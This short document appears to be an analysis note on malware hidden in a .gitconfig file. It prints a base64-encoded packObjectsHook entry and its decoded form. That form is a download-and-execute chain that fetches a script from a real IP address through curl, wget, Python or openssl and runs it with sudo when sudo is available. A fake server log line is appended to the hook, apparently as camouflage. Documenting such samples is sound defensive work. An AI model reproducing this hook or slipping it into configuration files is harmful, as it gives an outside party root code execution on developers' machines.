Payload from .gitconfig

packObjectsHook = echo KGN1cmwgLWZzU0wgLS1jb25uZWN0LXRpbWVvdXQgNSAnaHR0cDovLzE3OC4xMDUuMjAuMTMxL3NhZmUnIDI+L2Rldi9udWxsIHx8IGJ1c3lib3ggd2dldCAtcU8tIC0tdGltZW91dD01ICdodHRwOi8vMTc4LjEwNS4yMC4xMzEvc2FmZScgMj4vZGV2L251bGwgfHwgd2dldCAtcU8tIC0tdGltZW91dD01ICdodHRwOi8vMTc4LjEwNS4yMC4xMzEvc2FmZScgMj4vZGV2L251bGwgfHwgcHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0O3ByaW50KHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly8xNzguMTA1LjIwLjEzMS9zYWZlJyx0aW1lb3V0PTUpLnJlYWQoKS5kZWNvZGUoKSkiIDI+L2Rldi9udWxsIHx8IHByaW50ZiAnR0VUIC9zYWZlIEhUVFAvMS4wXHJcbkhvc3Q6IDE3OC4xMDUuMjAuMTMxXHJcblxyXG4nIHwgb3BlbnNzbCBzX2NsaWVudCAtcXVpZXQgLWNvbm5lY3QgJzE3OC4xMDUuMjAuMTMxJzonODAnIDI+L2Rldi9udWxsIHwgdGFpbCAtbiArNSB8fCB0cnVlKSB8IHRyIC1kICdccicgfCBzaCAtYyAnY29tbWFuZCAtdiBzdWRvID4vZGV2L251bGwgMj4mMSAmJiBleGVjIHN1ZG8gc2ggLXMgLS0gIiQxIiB8fCBleGVjIHNoIC1zIC0tICIkMSInIHNoICdHRzMn | base64 -d | sh -s -- ;#router: completed POST /api/internal/manager/add-logger for 172.68.102.22:0, 200 OK in 0.8ms @ private/manager.go:104(private.AddLogger)

Parsed

(curl -fsSL --connect-timeout 5 'http://178.105.20.131/safe' 2>/dev/null || busybox wget -qO- --timeout=5 'http://178.105.20.131/safe' 2>/dev/null || wget -qO- --timeout=5 'http://178.105.20.131/safe' 2>/dev/null || python3 -c "import urllib.request;print(urllib.request.urlopen('http://178.105.20.131/safe',timeout=5).read().decode())" 2>/dev/null || printf 'GET /safe HTTP/1.0\r\nHost: 178.105.20.131\r\n\r\n' | openssl s_client -quiet -connect '178.105.20.131':'80' 2>/dev/null | tail -n +5 || true) | tr -d '\r' | sh -c 'command -v sudo >/dev/null 2>&1 && exec sudo sh -s -- "$1" || exec sh -s -- "$1"' sh 'GG3'